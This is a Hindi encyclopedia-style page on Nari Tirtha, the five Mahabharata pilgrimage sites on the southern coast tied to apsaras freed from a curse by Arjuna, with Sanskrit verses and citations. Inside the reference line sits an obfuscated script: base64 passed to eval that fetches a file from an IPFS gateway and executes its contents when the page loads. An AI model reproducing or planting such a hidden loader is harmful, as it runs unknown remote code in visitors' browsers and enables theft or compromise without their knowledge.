नारी तीर्थ

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नारी तीर्थ का वर्णन महाभारत में हुआ है। इस स्थान पर एक ब्राह्मण के शाप से पाँच अप्सराएँ जलजंतु हो गई थीं। कुंती पुत्र अर्जुन ने इन अप्सराओं का शाप से उद्धार किया था।

'तानिसर्वाणि तीर्थानि तत: प्रभृति चैव ह। नारी तीर्थानि नाम्नेह ख्याति यास्यन्ति सर्वश:'[1]

  • उपर्युक्त श्लोक में जिन तीर्थों का निर्देश है, वे ये हैं-
  1. अगस्त्य
  2. सौभद्र
  3. पोलोग
  4. कारंधम
  5. भारद्वाज
  • इनका उल्लेख महाभारत, आदिपर्व[2] में भी है-

'अगस्त्यतीर्थ सौभद्रं पोलोमं च सुपावनं कारंधमं प्रसन्न चह् यमेधफलं च तत्। भारद्वाजस्य तीर्थ तु पाप प्रशमनं महत्, एतानि पंचतीर्थानि ददर्श कुरुसत्तम:'।

  • ये पांचों नारी तीर्थ दक्षिण समुद्र तट पर स्थित थे-

'दक्षिणे सागरानूपे पंचतीर्थानि संति वै पुण्यानि रमणीयानि तानि गच्छत माचिरम्'[3]

'ततो विपाप्मा द्रविडेषु राजन् समुद्रमासाद्य च लोकपुण्यम्, अगस्त्यतीर्थ च महा पवित्रं नारीतीर्थान्यथ वीरो ददर्श।'

  • आदिपर्व[5] में वर्णित कथा के अनुसार इन तीर्थों का नाम पांच शाप ग्रस्त अप्सराओं से संबंधित था, जिन्हें अर्जुन ने शाप मुक्त किया था।


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टीका टिप्पणी और संदर्भ

ऐतिहासिक स्थानावली |लेखक: विजयेन्द्र कुमार माथुर |प्रकाशक: राजस्थान हिन्दी ग्रंथ अकादमी, जयपुर |पृष्ठ संख्या: 494 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

  1. महाभारत, आदिपर्व 216, 11.
  2. महाभारत, आदिपर्व 215, 3-4
  3. महाभारत, आदिपर्व, 216, 217.
  4. वनपर्व, 118, 4
  5. आदिपर्व 215

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